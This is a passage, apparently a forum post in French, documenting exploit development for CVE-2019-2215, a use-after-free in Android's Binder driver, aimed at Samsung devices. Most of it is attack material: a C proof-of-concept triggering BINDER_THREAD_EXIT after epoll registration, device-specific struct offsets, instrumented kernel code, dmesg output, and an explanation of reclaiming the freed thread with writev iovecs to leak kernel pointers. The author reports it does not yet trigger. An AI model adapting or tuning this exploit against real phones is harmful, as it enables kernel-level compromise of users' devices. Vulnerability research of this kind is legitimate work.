
PoC et analyse de CVE-2019-2215, une use-after-free dans Android Binder, avec instrumentation du noyau et réglage de l'exploit pour les appareils Samsung concernés.
Source :
https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414885
Les Samsung S7 et S7 Edge avec le noyau 3.18.x ne semblent pas vulnérables (pourraient l'être cependant, avec plus de travail et des ajustements du PoC). Impossible d'en voir plus, car je n'ai pas de dispositifs rootés.
Samsung S3Neo+ avec LineageOS Noyau 3.4.0 possiblement vulnérable (toujours en cours)
Kernel 3.4.0
https://github.com/S3NEO/android_kernel_samsung_s3ve3g/
No KASLR
No need to leak Kernel Struct Addresses.
8-byte aligned (because there is one less field in the struct)
binder_thread size:0xfc (252)
wait queue offset:0x2c (44)
Had to add at least 2 entries for it to trigger, with 1, it didn't trigger
https://github.com/S3NEO/android_kernel_samsung_s3ve3g/blob/348ef929213854f5c7ce6b608e2ca0216d6bdce7/fs/eventpoll.c#L533
PoC:
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#define BINDER_THREAD_EXIT 0x40046208ul
#define BINDER_VERSION 0xc0046209ul
int main()
{
int fd,fd1,fd2, epfd,epfd1;
struct epoll_event event = { .events = EPOLLOUT };
fd = open("/dev/binder", O_RDONLY);
fd1 = open("/dev/random", O_RDONLY);
epfd = epoll_create(1000);
epfd1 = epoll_create(1000);
if (epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event)) err(1, "epoll_add");
if (epoll_ctl(epfd1, EPOLL_CTL_ADD, fd1, &event)) err(1, "epoll_add");
//ioctl(fd, BINDER_VERSION, NULL);
ioctl(fd, BINDER_THREAD_EXIT, NULL);
printf("Finished here.");
}
Modified binder.c and evenpoll.c in the Kernel to see what is happening
binder.c
static int binder_free_thread(struct binder_proc *proc,
struct binder_thread *thread)
{
struct binder_transaction *t;
struct binder_transaction *send_reply = NULL;
int active_transactions = 0;
static const size_t memberOffset = offsetof(binder_thread, wait);
wait_queue_head_t *wqhptr = &thread->wait;
wait_queue_head_t *pwqhptr = &proc->wait;
struct list_head *n1,*p1;
wait_queue_t *my2;
printk(KERN_INFO "iovec str size:%d",sizeof(iovec));
printk(KERN_INFO "thread->task_list:%p",(void *)&wqhptr->task_list);
printk(KERN_INFO "proc->task_list:%p",(void *)&pwqhptr->task_list);
list_for_each_safe(p1,n1, &pwqhptr->task_list){
my2 = list_entry(p1, wait_queue_t, task_list);
printk (KERN_INFO "p list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
}
list_for_each_safe(p1,n1, &wqhptr->task_list){
my2 = list_entry(p1, wait_queue_t, task_list);
printk (KERN_INFO "t list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
}
eventpoll.c
static void ep_remove_wait_queue(struct eppoll_entry *pwq)
{
wait_queue_head_t *whead;
wait_queue_t *strptr;
struct list_head *n1,*p1;
wait_queue_t *my2;
rcu_read_lock();
/* If it is cleared by POLLFREE, it should be rcu-safe */
whead = rcu_dereference(pwq->whead);
printk(KERN_INFO "whead before");
if (whead)
{
strptr=&pwq->wait;
list_for_each_safe(p1,n1, &pwq->whead->task_list){
my2 = list_entry(p1, wait_queue_t, task_list);
printk (KERN_INFO "my2= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
}
remove_wait_queue(whead, &pwq->wait);
printk(KERN_INFO "remove wait queue:%p", (void*)&pwq->wait);
printk(KERN_INFO "remove wait queue task list:%p", (void*)&strptr->task_list);
I see the list is printed.....but during Android Bootup not my PoC:
During Android start
[ 84.747753] binder_ioctl: 1878:2371 40046208 0
[ 84.747765] iovec str size:8
[ 84.747771] thread->task_list:e4fb2e30
[ 84.747777] proc->task_list:e57d866c
[ 84.747784] p list= e57d866c e7fffe7c
[ 84.747790] p list= e656de7c e57d866c
[ 84.747797] binder_free_thread size:252 worker_off:44
[ 84.747804] freed thread:e4fb2e00
I see proc->task_list ...
PoC:
[ 642.254192] wq queue:e7ce8798
[ 642.254201] epoll struct:e7ce8780
[ 642.254214] wq queue:e7ce8f98
[ 642.254220] epoll struct:e7ce8f80
[ 642.254230] wq queue:e7ce8718
[ 642.254236] epoll struct:e7ce8700
[ 642.254266] binder_ioctl: 7392:7392 40046208 0
[ 642.254274] iovec str size:8
[ 642.254280] thread->task_list:e5389b30
[ 642.254286] proc->task_list:c309d86c
[ 642.254292] binder_free_thread size:252 worker_off:44
[ 642.254299] freed thread:e5389b00
[ 642.254736] ep_unregister_pollwait struct:e7ce8780 epi struct:e51d0480
[ 642.254792] ep_unregister_pollwait struct:e7ce8f80 epi struct:e51d0a80
[ 642.254799] ep_unregister_pollwait list not empty
[ 642.254805] whead before
[ 642.254811] my2= c0f50cc4 c0f50cc4
[ 642.254817] remove wait queue:e734b994
[ 642.254823] remove wait queue task list:e734b9a0
[ 642.254830] ep_unregister_pollwait list not empty
[ 642.254835] whead before
[ 642.254841] my2= c0f50cd0 c0f50cd0
[ 642.254847] remove wait queue:e734bb24
[ 642.254852] remove wait queue task list:e734bb30
[ 642.254863] ep_free
[ 642.254873] ep_free
[ 642.254881] ep_free
Cependant, le bug n'est pas déclenché dans mon PoC. Je ne peux pas voir de doublons d'entrées dans la liste sous thread et proc :/
Voici où le bug use-after-free devrait intervenir.
Code:
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
Quand ceci est appelé, la structure binder_thread est libérée dans le noyau.
Immédiatement après, le processus parent appelle :
Code:
b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);
Dans le noyau, la mémoire est allouée pour copier iovec_array depuis l'espace utilisateur. Ce PoC dépend du fait que le pointeur de cette allocation corresponde à la mémoire binder_thread récemment libérée.
Ensuite, lorsque le processus enfant se termine, le nettoyage EPOLL utilisera la file d'attente (waitqueue) dans la structure binder_thread, qui a été écrasée avec les valeurs de iovec_array. Lorsque le nettoyage EPOLL dissocie la file d'attente, 0xDEADBEEF sera écrasé par un pointeur dans l'espace noyau. Cela doit se produire juste avant que l'appel writev du processus parent ne commence à copier le second tampon, ce qui nous donne une fuite de mémoire dans l'espace noyau.
Si writev retourne 0x1000, cela signifie que le timing est incorrect, le décalage de la file d'attente est erroné, l'allocation kmalloc dans la fonction writev n'est pas la même que binder_thread libéré, ou votre noyau n'est pas vulnérable.